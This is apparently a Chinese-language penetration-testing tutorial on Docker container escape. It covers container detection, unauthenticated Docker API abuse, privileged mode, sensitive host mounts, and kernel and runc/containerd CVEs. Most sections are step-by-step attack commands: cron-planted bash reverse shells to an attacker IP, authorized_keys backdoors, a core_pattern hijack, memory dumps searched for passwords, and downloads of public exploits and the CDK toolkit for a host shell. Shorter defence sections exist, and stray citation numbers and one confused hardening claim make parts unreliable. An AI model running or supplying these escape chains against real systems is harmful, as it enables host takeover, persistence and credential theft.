Docker Escape

Docker Escape

0.容器环境确认

获得到一个shell之后我们首先需要判断的是当前是否处于容器环境中,否则后续的一切渗透可能都将会受阻。

那么如何判断?

以下是判断当前环境是否为容器环境的常见方法,适用于 Docker、LXC 等容器环境:


1. 检查 /proc/1/cgroup 文件

容器环境的进程控制组(cgroup)信息通常包含 dockerkubepods(Kubernetes)等标识。
命令

1
cat /proc/1/cgroup

判断依据

  • 如果输出中包含 /docker//lxc/kubepods 等关键字,则为容器环境。
  • 物理机或虚拟机通常显示 / 或系统默认的层级(如 systemd)。

2. 检查 /.dockerenv 文件

Docker 容器启动时会在根目录生成此文件(其他容器如 LXC 无此文件)。
命令

1
ls -l /.dockerenv

判断依据
若文件存在,则极可能是 Docker 容器环境。


3. 检查 /proc/mounts 中的挂载信息

容器中挂载的文件系统通常包含 overlay(Docker 默认存储驱动)或 aufs
命令

1
cat /proc/mounts | grep -E "overlay|aufs"

判断依据
若存在 overlayaufs 挂载项,则可能是容器环境。


4. 检查进程数量

容器内通常只运行少量关键进程(如 PID 1 为业务进程),而物理机或虚拟机进程数量较多。
命令

1
ps -ef | wc -l

判断依据
若进程数量极少(如少于 10 个),可能是容器环境(但需结合其他方法验证)。


5. 检查虚拟化类型(systemd-detect-virt

通过检测虚拟化工具类型判断环境。
命令

1
systemd-detect-virt

判断依据

  • 容器环境可能返回 dockerlxcpodman
  • 物理机通常返回 none,虚拟机返回 kvmvmware 等。

6. 检查设备文件

容器环境可能缺少物理机常见的硬件设备(如磁盘、USB 控制器)。
命令

1
2
ls -l /dev/sd*   # 查看磁盘设备(容器通常无额外磁盘)
ls -l /dev/tty* # 检查终端设备数量(容器通常较少)

7. 检查内核版本与宿主机是否一致

容器通常与宿主机共享内核,但某些环境(如 User Mode Linux)可能不同。
命令

1
uname -a

判断依据
如果内核版本与预期宿主机版本一致,但当前环境功能受限,可能是容器。


8. 检查环境变量

容器启动时可能注入特定的环境变量(如 KUBERNETES_SERVICE_HOST)。
命令

1
env | grep -E "DOCKER|KUBERNETES|CONTAINER"

9. 检查网络接口

容器通常存在虚拟网卡(如 eth0),且 IP 地址为内网段(如 172.17.x.x)。
命令

1
ip a | grep eth0

10. 尝试访问宿主机资源

如果怀疑是容器,可尝试探测宿主机网络(需容器有权限):

1
2
3
4
# 查看宿主机 IP(通常为网关)
ip route show default | awk '{print $3}'
# 尝试访问宿主机服务(如 Docker API)
curl http://172.17.0.1:2375/version

自动化检测脚本示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash

is_container=0

# 检查 /.dockerenv
if [ -f /.dockerenv ]; then
echo "[+] Docker 环境检测: /.dockerenv 存在"
is_container=1
fi

# 检查 /proc/1/cgroup
if grep -qi "docker\|lxc\|kubepods" /proc/1/cgroup; then
echo "[+] Cgroup 检测: 容器环境特征存在"
is_container=1
fi

# 检查进程数量
if [ $(ps -ef | wc -l) -lt 10 ]; then
echo "[+] 进程数量异常: 可能是容器环境"
is_container=1
fi

# 综合判断
if [ $is_container -eq 1 ]; then
echo "[!] 当前环境可能是容器"
else
echo "[ ] 当前环境可能是物理机或虚拟机"
fi

注意事项

  1. 没有绝对可靠的方法:某些高度定制的容器可能隐藏特征(如删除 /.dockerenv)。
  2. 综合判断:需结合多种检测结果提高准确性。
  3. 防御方对抗:安全加固的容器可能故意混淆这些特征(如使用 --security-opt seccomp=unconfined)。

一、Docker Swarm remote api 未授权访问逃逸技术

1. 漏洞原理

Docker Remote API 是 Docker 守护进程(Dockerd)提供的 REST 接口,默认绑定在 2375 端口(HTTP)或 2376 端口(HTTPS)。当管理员错误配置 Docker Swarm 集群时,可能将 API 暴露在公网(如绑定 0.0.0.0:2375),导致攻击者可绕过认证直接控制 Docker 服务。通过 API 创建特权容器或挂载宿主机敏感目录,可实现容器逃逸并获取宿主机权限。

Docker Swarm 环境搭建

1
2
3
4
5
6
7
8
9
10
# 在docker.service的ExecStart启动项中增加"-H tcp://0.0.0.0:2375"
$ vim /usr/lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H unix:// -H tcp://0.0.0.0:2375

# 重载服务,重启docker
$ systemctl daemon-reload
$ systemctl restart docker

# 初始化 Swarm
$ docker swarm init

2. 漏洞检测

(1) 端口扫描

  • 检查目标是否开放 2375 端口:

    1
    nmap -p2375 <target_ip>

(2) API 探测

  • 通过 HTTP 请求验证是否存在未授权访问:

    1
    2
    3
    curl http://<target_ip>:2375/containers/json # docker服务器上运行的docker容器列表,以及容器的配置信息
    curl http://<target_ip>:2375/version # 返回 Docker 版本信息则存在漏洞
    curl http://<target_ip>:2375/info | grep DockerRootDir # 获取宿主机 Docker 根目录路径

(3) Docker 客户端验证

  • 使用 Docker 客户端直接连接远程 API:

    1
    docker -H tcp://<target_ip>:2375 ps  # 列出容器信息(无需认证)

3. 漏洞利用

(1) 创建特权容器挂载宿主机目录

  • 步骤

    1. 通过 API 创建容器并挂载宿主机根目录到容器内:
    1
    docker -H tcp://<target_ip>:2375 run -it -v /:/mnt alpine:latest /bin/sh
    1. 在容器内修改宿主机文件(如写入定时任务或 SSH 公钥):
    1
    2
    3
    4
    # 写入反弹 Shell 到宿主机 crontab
    echo "* * * * * root bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" >> /mnt/etc/crontab
    # 或写入 SSH 公钥到宿主机 root 用户
    echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /mnt/root/.ssh/authorized_keys
    1. 攻击机监听反弹 Shell 或通过 SSH 登录宿主机46。

(2) 直接操作 Docker API

  • 通过 HTTP 请求创建恶意容器:

    1
    2
    3
    4
    5
    6
    7
    # 创建挂载宿主机目录的容器
    curl -X POST -H "Content-Type: application/json" \
    -d '{"Image":"alpine:latest", "Cmd":["/bin/sh"], "Volumes":{"/host": {}}, "HostConfig":{"Binds":["/:/host"]}}' \
    http://<target_ip>:2375/containers/create

    # 启动容器并执行命令
    curl -X POST http://<target_ip>:2375/containers/<container_id>/start

二、特权模式(Privileged Mode)逃逸


特权模式(Privileged Mode)逃逸技术详解

1. 特权模式的定义与作用

当容器以 --privileged 模式启动时,Docker 会赋予容器 所有 Linux Capabilities,并解除设备访问限制。这意味着:

  • 容器内进程拥有与宿主机 root 用户几乎等同的权限。
  • 容器可以直接访问宿主机所有设备(如 /dev/sda1/dev/tty0 等)。
  • 允许执行需要高权限的操作,如加载内核模块、修改内核参数、挂载文件系统等。

2. 逃逸的核心原理

特权模式的容器突破了默认的隔离机制,攻击者可利用以下路径逃逸:

  • 挂载宿主机文件系统:通过挂载宿主机磁盘,直接修改敏感文件(如 SSH 密钥、cron 任务)。
  • 内核操作:利用内核功能或漏洞(如 Dirty COW)提权到宿主机。
  • 设备访问:直接读写宿主机硬件设备(如内存、磁盘)。

3. 检测是否处于特权容器

(1) 检查 Capabilities

1
cat /proc/self/status | grep CapEff
  • 特权容器CapEff 值为 0000003fffffffff0000001fffffffff(所有能力开启)。
  • 普通容器:Capabilities 受限(如 00000000a80425fb)。

(2) 查看挂载的设备

1
mount | grep /dev
  • 特权容器可能挂载 /dev/sda1/dev/mem 等宿主机设备。

4. 典型利用步骤与示例

(1) 挂载宿主机根目录逃逸

场景:攻击者通过特权容器挂载宿主机根目录,直接修改文件系统。

步骤

  1. 启动特权容器

    1
    docker run -it --privileged ubuntu /bin/bash
  2. 查看宿主机磁盘设备

    1
    2
    3
    4
    # 在容器内查看磁盘设备(通常为 /dev/sda1 或 /dev/vda1) 如果没有权限也没有关系能里出来就行
    # 如果没有fdisk 命令那么就只能遍历了
    fdisk -l
    df -h

    image-20250520233002904

​ 宿主机的显示

1
2
3
4
5
6
7
8
9
10
11
12
Disk /dev/sda:80 GiB,85899345920 字节,167772160 个扇区
Disk model: VMware Virtual S
单元:扇区 / 1 * 512 = 512 字节
扇区大小(逻辑/物理):512 字节 / 512 字节
I/O 大小(最小/最佳):512 字节 / 512 字节
磁盘标签类型:dos
磁盘标识符:0xa873673b

设备 启动 起点 末尾 扇区 大小 Id 类型
/dev/sda1 * 2048 1050623 1048576 512M b W95 FAT32
/dev/sda2 1052670 167770111 166717442 79.5G 5 扩展
/dev/sda5 1052672 167770111 166717440 79.5G 83 Linux
  1. 挂载宿主机根目录到容器内

    1
    2
    mkdir /host
    mount /dev/sda1 /host # 挂载宿主机磁盘到容器内的 /host 目录

    其他方式可能可以使用的方式:

    挂载目录后,可以容器的工作目录到/host中

    这时可以直接执行useradd命令添加宿主机的用户,甚至可以执行docker的命令,k8s里可以使用kubectl命令

    1
    chroot /host sh
  2. 修改宿主机文件

    1
    2
    3
    4
    5
    # 写入 SSH 公钥到宿主机的 root 用户
    echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /host/root/.ssh/authorized_keys

    # 或写入定时任务反弹 Shell
    echo "* * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1" >> /host/etc/crontab
  3. 使用私钥文件登陆宿主机、或者

    1
    2
    3
    4
    5
    # 使用私钥登录
    ssh root@宿主机IP

    # 获取定时任务端口监听
    nc -lnvp 端口

(2) 利用设备文件读写内存

场景:通过 /dev/mem/dev/kmem 直接读写宿主机内存。

步骤

  1. 在特权容器中访问物理内存

    1
    2
    # 读取宿主机物理内存(需 CAP_SYS_RAWIO 权限)
    dd if=/dev/mem of=/tmp/mem.dump bs=1M count=100
  2. 分析内存提取敏感信息(如密码、密钥):

    1
    strings /tmp/mem.dump | grep -i "password"

(3)所有可以尝试的方式

  1. 向宿主机写入公私钥
  2. 向宿主机写入计划任务
  3. 向宿主机写入后门用户
  4. 搜索宿主机上的敏感文件
  5. 如果宿主机开启 Web 服务,还可以写入 WebShell

5. 防御措施

  1. 避免使用特权模式

    • 除非绝对必要,否则禁止使用 --privileged
    • 替代方案:通过 --cap-add 按需授予特定权限(如 CAP_NET_ADMIN)。
  2. 最小化 Capabilities

    1
    docker run --cap-drop=ALL --cap-add=必要的权限 ...
  3. 限制设备访问

    • 使用 --device 仅允许访问特定设备:
      1
      docker run --device=/dev/ttyUSB0 ...
  4. 安全加固配置

    • 启用 AppArmorSELinux 限制容器行为。
    • 配置 Seccomp 过滤危险系统调用。
  5. 文件系统只读挂载

    1
    docker run -v /宿主机目录:/容器目录:ro ...

三、挂载宿主机敏感目录


挂载宿主机敏感目录容器逃逸技术详解


1. 漏洞原理

当容器启动时通过 -v--mount 参数挂载宿主机的敏感目录(如根目录 //var/run/docker.sock/root 等),攻击者可通过容器内的挂载路径直接读写宿主机文件系统或操作 Docker 服务,从而突破容器隔离,获取宿主机权限。

核心风险点

  • 宿主机文件系统暴露:挂载 //etc 等目录,允许容器内直接修改关键配置文件。
  • Docker 控制权泄露:挂载 /var/run/docker.sock 后,容器可通过 Docker API 创建新容器或控制宿主机的容器生命周期。
  • 敏感数据泄露:挂载 /root/home 等目录可能直接暴露用户敏感文件(如 SSH 密钥、凭据文件)。

2. 常见敏感目录及攻击场景

敏感目录 攻击场景
/(根目录) 直接修改宿主机文件(如 /etc/crontab/root/.ssh/authorized_keys)。
/var/run/docker.sock 通过 Docker API 创建特权容器挂载宿主机目录,或直接执行宿主机命令。
/proc 修改内核参数(如 core_pattern)触发宿主机代码执行。
/sys 修改系统配置或硬件信息,可能导致拒绝服务或提权。
/root/home 窃取用户 SSH 密钥、历史命令记录(.bash_history)或配置文件。

3. 攻击步骤与示例

场景 1:挂载宿主机根目录(/)逃逸

步骤

  1. 启动容器并挂载宿主机根目录

    1
    docker run -it -v /:/host ubuntu /bin/bash
  2. 在容器内通过挂载点修改宿主机文件

    1
    2
    3
    4
    5
    # 写入 SSH 公钥到宿主机 root 用户
    echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /host/root/.ssh/authorized_keys

    # 添加定时任务反弹 Shell
    echo "* * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1" >> /host/etc/crontab
  3. 通过 SSH 或定时任务获取宿主机权限

    1
    2
    3
    4
    5
    # 使用私钥登录
    ssh root@宿主机IP

    # 获取定时任务端口监听
    nc -lnvp 端口

场景 2:挂载 Docker Socket(/var/run/docker.sock)逃逸

步骤

  1. 启动容器并挂载 Docker Socket

    1
    docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash
  2. 在容器内安装 Docker 客户端工具

    1
    apt update && apt install docker.io -y
  3. 通过 Docker API 创建特权容器挂载宿主机根目录

    1
    docker -H unix:///var/run/docker.sock run -it -v /:/host alpine chroot /host sh
  4. 在特权容器内执行宿主机命令

    1
    echo "恶意操作" > /host/etc/恶意文件

场景 3:挂载 /proc 目录触发代码执行

步骤

  1. 启动容器并挂载 /proc

    1
    docker run -it -v /proc:/host_proc ubuntu /bin/bash
  2. 修改宿主机的 core_pattern 以触发代码执行

    1
    echo '|/tmp/exploit' > /host_proc/sys/kernel/core_pattern
  3. 在宿主机上触发崩溃生成 Core Dump

    1
    2
    # 在宿主机执行(或在容器内攻击宿主机进程)
    kill -SEGV $(pidof 某服务)
    • 宿主机崩溃时会执行 /tmp/exploit(需提前植入恶意脚本)。

4. 检测容器是否挂载敏感目录

方法 1:检查容器挂载信息

1
2
# 查看当前容器的挂载点
mount | grep -E "/ |/var/run/docker.sock|/proc"

方法 2:检查 Docker 启动命令

1
2
# 查看容器启动参数(需宿主机权限)
docker inspect <容器ID> | grep -A 10 "Mounts"

方法 3:自动化检测脚本

1
2
3
4
5
6
7
8
9
#!/bin/bash
# 检测敏感目录挂载
敏感挂载点=("/ " "/var/run/docker.sock" "/proc" "/sys" "/root")

for 挂载点 in "${敏感挂载点[@]}"; do
if mount | grep -q "$挂载点"; then
echo "[!] 检测到敏感目录挂载: $挂载点"
fi
done

5. 防御措施

  1. 禁止挂载敏感目录

    • 避免使用 -v /:/host-v /var/run/docker.sock 等高危操作。
    • 使用命名卷(Named Volumes)替代直接挂载主机路径。
  2. 最小化挂载权限

    • 若必须挂载,使用只读模式(ro):
      1
      docker run -v /宿主机目录:/容器目录:ro ...
  3. 限制 Docker Socket 访问

    • 禁止容器挂载 /var/run/docker.sock
    • 若需远程管理 Docker,启用 TLS 认证并限制 IP 访问。
  4. 安全加固配置

    • 启用 AppArmorSELinux 限制容器文件系统访问。
    • 配置 Seccomp 过滤危险系统调用(如 mountptrace)。
  5. 定期审计容器配置

    • 使用工具(如 docker-bench-security)扫描不安全配置。
    • 监控容器挂载点变更和异常文件操作。

6. 实际案例

  • 案例 1:Kubernetes 集群挂载逃逸
    攻击者通过挂载 hostPath 卷到 Pod 中,修改宿主机 /etc/shadow 文件重置 root 密码。

  • 案例 2:Docker Socket 滥用
    某开发环境因挂载 docker.sock,攻击者在容器内创建新容器并挂载宿主机根目录,窃取 Kubernetes 集群凭证。


四、内核漏洞逃逸


内核漏洞逃逸技术详解


1. 内核漏洞逃逸原理

容器(如 Docker、LXC)依赖于 Linux 内核的 命名空间(Namespaces)控制组(Cgroups) 实现资源隔离。若宿主机内核存在未修复的漏洞,攻击者可在容器内利用漏洞突破隔离,直接控制宿主机系统。此类逃逸不依赖容器配置错误,即使容器以非特权模式运行,也可能成功


2. 漏洞利用条件

  1. 内核版本存在已知漏洞(如未修复的 CVE)。
  2. 容器具备执行漏洞利用程序的条件
    • 允许执行自定义二进制文件(如未限制 exec)。
    • 具备必要的 Capabilities(如 CAP_SYS_ADMINCAP_SYS_PTRACE)。
  3. 漏洞利用代码(Exploit)适配当前内核环境

3. 典型内核漏洞与利用场景

(1) Dirty COW(CVE-2016-5195)

  • 漏洞类型:竞争条件漏洞(Copy-On-Write 机制缺陷)。
  • 影响范围:Linux 内核 2.6.22 ~ 4.8.3。
  • 利用效果:通过修改只读内存页提权到宿主机 root。
  • 利用步骤
    1. 在容器内下载并编译 Exploit(如 dirtycow-docker-vdso
      1
      2
      3
      git clone https://github.com/gebl/dirtycow-docker-vdso.git
      cd dirtycow-docker-vdso
      make
    2. 执行 Exploit 获取宿主机 root Shell:
      1
      ./0xdeadbeef

(2) CVE-2022-0185(文件系统挂载逃逸)

  • 漏洞类型:Linux 内核 fsconfig 堆溢出漏洞。
  • 影响范围:Linux 内核 5.1~5.16.2。
  • 利用效果:通过创建恶意挂载命名空间实现容器逃逸。
  • 利用步骤
    1. 在容器内编译并运行 Exploit(如 CVE-2022-0185
      1
      2
      # 编译 Exploit
      gcc -o exploit exploit.c
    2. 执行 Exploit 创建特权进程:
      1
      ./exploit

(3) CVE-2021-4034(Polkit 提权)

  • 漏洞类型:Polkit 的 pkexec 组件本地提权漏洞。
  • 影响范围:Linux 系统未更新 polkit 的版本。
  • 利用效果:在容器内获取宿主机 root 权限(需容器与宿主机共享用户命名空间)。
  • 利用步骤
    1. 下载并运行 Exploit(如 CVE-2021-4034
      1
      2
      make
      ./cve-2021-4034

4. 漏洞利用流程

  1. 信息收集

    • 查看内核版本:uname -a
    • 检查 Capabilities:cat /proc/self/status | grep CapEff
    • 确认 Exploit 适配性(如架构、内核补丁状态)。
  2. 漏洞验证

    • 使用公开的 PoC(Proof of Concept)代码测试漏洞是否存在。
  3. 编译与执行 Exploit

    • 在容器内上传或下载 Exploit 代码。
    • 编译并运行(需确保容器内具备编译环境,如 gccmake)。
  4. 提权后操作

    • 写入 SSH 密钥、反弹 Shell 或直接操作宿主机文件系统。

5. 检测内核漏洞

1
2
3
4
5
# 查看内核版本
uname -a

# 检查已知漏洞是否修复(如 Dirty COW)
cat /proc/sys/vm/dirty_writeback_centisecs # 若返回 0,可能已修复

五、其他CVE逃逸漏洞

以下是近年来公开的主要容器逃逸漏洞及技术分类,结合影响范围和利用原理进行总结:


一、容器组件漏洞

1. runc 相关漏洞

  • CVE-2024-21626(Leaky Vessels)

    • 影响版本:runc 1.0.0-rc93 至 1.1.11
    • 原理:由于文件描述符泄漏,攻击者可通过构造恶意容器镜像或利用 runc exec 命令,使容器进程访问宿主机文件系统,覆盖宿主机二进制文件实现逃逸。
    • 利用场景:攻击者通过挂载 /proc/self/fd/ 目录,绕过隔离访问宿主机根目录。
  • CVE-2019-5736(runc 容器逃逸)

    • 影响版本:runc ≤1.0-rc6,Docker ≤18.09.2
    • 原理:通过覆盖宿主机上的 runc 二进制文件,当管理员执行 docker exec 时触发恶意代码执行。
    • 利用条件:需容器内用户权限,且宿主机管理员执行容器操作。
  • CVE-2019-16884

    • 影响版本:runc ≤1.0.0-rc8
    • 原理:容器内进程可通过特定操作突破命名空间隔离,访问宿主机资源。

2. BuildKit 相关漏洞(Leaky Vessels 系列)

  • CVE-2024-23651
    • CVSS 8.7:BuildKit ≤0.12.4 中,恶意构建步骤通过共享缓存挂载引发竞争条件,访问宿主机文件。
  • CVE-2024-23652
    • CVSS 10.0:恶意 Dockerfile 利用 RUN --mount 参数删除宿主机文件。
  • CVE-2024-23653
    • CVSS 9.8:BuildKit API 权限检查不严,允许以提升的权限运行容器。

3. containerd 相关漏洞

  • CVE-2020-15257
    • 影响版本:containerd <1.3.9 或 1.4.0~1.4.2
    • 原理:当容器以 --net=host 共享宿主机网络命名空间时,攻击者通过 containerd-shim API 控制宿主机容器。

二、CVE-2019-5736 漏洞复现流程

以下是 CVE-2019-5736 漏洞的利用流程详解,结合漏洞原理及复现步骤:


1. 漏洞原理

该漏洞源于容器运行时组件 runc(Docker、containerd 等底层依赖),攻击者可通过容器内进程访问宿主机的 /proc/[runc-PID]/exe 文件描述符,覆盖宿主机上的 runc 二进制文件。当管理员执行 docker exec 或容器启动时,触发恶意代码执行,从而以宿主机 root 权限逃逸容器环境。

核心条件

  • 影响版本:Docker ≤18.09.2 或 runc ≤1.0-rc6。
  • 权限要求:容器内需具备 root 权限。

2. 漏洞利用流程

(1) 环境准备
  1. 搭建漏洞环境

    • 安装未修复的 Docker 版本(如 18.03.1):
      1
      yum install docker-ce-18.03.1.ce
    • 确认 runc 版本 ≤1.0-rc6。
  2. 启动容器

    1
    docker run -it --name vuln_container ubuntu /bin/bash
(2) 生成 Payload
  1. 下载 PoC 代码(如 GitHub/Frichetten/CVE-2019-5736-PoC)。
  2. 修改 Payload
    • 将 PoC 中的命令替换为反弹 Shell 或其他恶意指令(例如 bash -i >& /dev/tcp/攻击机IP/端口 0>&1)。
  3. 编译生成可执行文件(需 Go 环境):
    1
    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
(3) 上传 Payload 至容器
  1. 复制 Payload 到容器内
    1
    docker cp main vuln_container:/tmp/
(4) 执行攻击
  1. 在容器内运行 Payload

    1
    chmod +x /tmp/main && /tmp/main
    • Payload 会持续监听 /proc 目录,等待宿主机执行 docker exec
  2. 触发漏洞

    • 管理员在宿主机执行 docker exec 命令(如进入容器):
      1
      docker exec -it vuln_container /bin/sh
    • 此时,容器内的 Payload 会通过 /proc/[runc-PID]/exe 覆盖宿主机 runc 文件。
(5) 获取宿主机权限
  • 反弹 Shell:攻击机监听指定端口,获得宿主机 root 权限的 Shell。
  • 任意命令执行:覆盖后的 runc 会在后续容器操作中执行攻击者预设的命令。

3. 关键步骤解析

  1. 覆盖 runc 文件

    • 容器内通过 /proc 访问宿主机的 runc 进程文件描述符,以写入恶意代码。
    • 利用 Linux 的 memfd_create 机制绕过文件路径限制。
  2. 触发机制

    • docker exec 操作会调用 runc 进入容器命名空间,此时容器内进程可捕获 runc 的 PID。

三、CVE-2020-15257 漏洞复现流程

以下是 CVE-2020-15257 漏洞的利用流程详解,结合漏洞原理及复现步骤:


1. 漏洞背景与原理

  • 漏洞组件:Containerd(Docker 的容器运行时组件),通过其子组件 containerd-shim 暴露的抽象 Unix 域套接字(Abstract Unix Domain Socket)实现容器管理。
  • 触发条件
    • 容器以 --net=host(共享宿主机网络命名空间) 启动。
    • 容器内进程以 Root 用户(UID 0) 运行。
    • Containerd 版本 ≤1.3.9 或 ≤1.4.3。
  • 漏洞本质:攻击者可通过共享的网络命名空间访问宿主机上的 containerd-shim 套接字,调用其 API 创建新容器或执行命令,实现容器逃逸。

2. 漏洞利用流程

步骤 1:搭建漏洞环境
  1. 安装有漏洞的 Containerd 版本(如 Docker Engine ≤19.03.6):
    1
    sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
  2. 以 Host 模式启动容器
    1
    sudo docker run -itd --net=host --name vulnerable_container ubuntu:18.04 /bin/bash
步骤 2:检测漏洞存在性
  1. 查看抽象 Unix 套接字(容器内执行):
    1
    cat /proc/net/unix | grep 'containerd-shim' | grep '@'
    • 若输出类似 @/containerd-shim/moby/[哈希]/shim.sock,则存在漏洞。
步骤 3:利用漏洞逃逸
  1. 下载并上传利用工具(如 CDK):

    1
    2
    3
    4
    5
    # 下载 CDK(容器渗透工具包)
    wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
    tar -zxvf cdk_v0.1.6_release.tar.gz
    # 将工具复制到容器内
    docker cp cdk_linux_amd64 vulnerable_container:/tmp/
  2. 在容器内执行 Exploit

    1
    2
    3
    4
    # 进入容器
    docker exec -it vulnerable_container /bin/bash
    # 执行 CDK 反弹 Shell
    ./cdk_linux_amd64 run shim-pwn <攻击机IP> <监听端口>
    • 攻击机监听端口
      1
      nc -lvp <监听端口>
    • 成功时,攻击机会收到宿主机的 Shell,实现逃逸。

3. 漏洞原理细节

  • 抽象套接字暴露containerd-shim 通过抽象 Unix 域套接字(以 @ 开头)与 Containerd 通信。当容器共享宿主机网络命名空间时,攻击者可扫描 /proc/net/unix 获取套接字路径。
  • API 滥用:通过套接字调用 containerd-shim 的 API(如创建新容器、挂载宿主机根目录),绕过隔离机制。

4. 实际影响与案例

  • 攻击场景:攻击者可利用该漏洞在云原生环境中横向移动,控制宿主机及集群内其他容器。
  • 案例:未修复的 Kubernetes 集群中,恶意容器通过 Host 网络逃逸,窃取敏感数据或部署后门。

四、总结与对比

  1. Docker 架构中的角色
    • BuildKit:构建镜像,生成符合 OCI 标准的镜像文件。
    • containerd:管理镜像和容器生命周期,调用 runc 执行容器。
    • runc:实际创建容器进程,实现内核级隔离。
  2. Kubernetes 中的调用链
    • Kubelet → containerd → runc:Kubernetes 通过 CRI 接口调用 containerd,containerd 通过 runc 运行容器6。
  3. 独立使用场景
    • 仅需 runc:手动创建容器(需准备 rootfs 和配置文件)。
    • 仅需 containerd:轻量级容器管理(无需 Docker 的复杂功能)。
    • 仅需 BuildKit:高效构建镜像(如集成到 CI 工具链)。
组件 定位 核心功能 依赖关系
runc 底层运行时工具 容器进程创建与资源隔离 独立运行,被 containerd 调用
containerd 容器运行时管理器 镜像管理、容器生命周期 依赖 runc 执行容器
BuildKit 镜像构建工具 高效构建与缓存管理 可选依赖 containerd/runc
  • runc:主要风险来自文件描述符泄漏和二进制覆盖(如 CVE-2019-5736 和 CVE-2024-21626)。
  • BuildKit:构建阶段的竞态条件、权限缺陷和文件操作漏洞是逃逸核心(如 CVE-2024-23651~23653)。
  • containerd:共享网络命名空间导致 API 滥用(如 CVE-2020-15257)。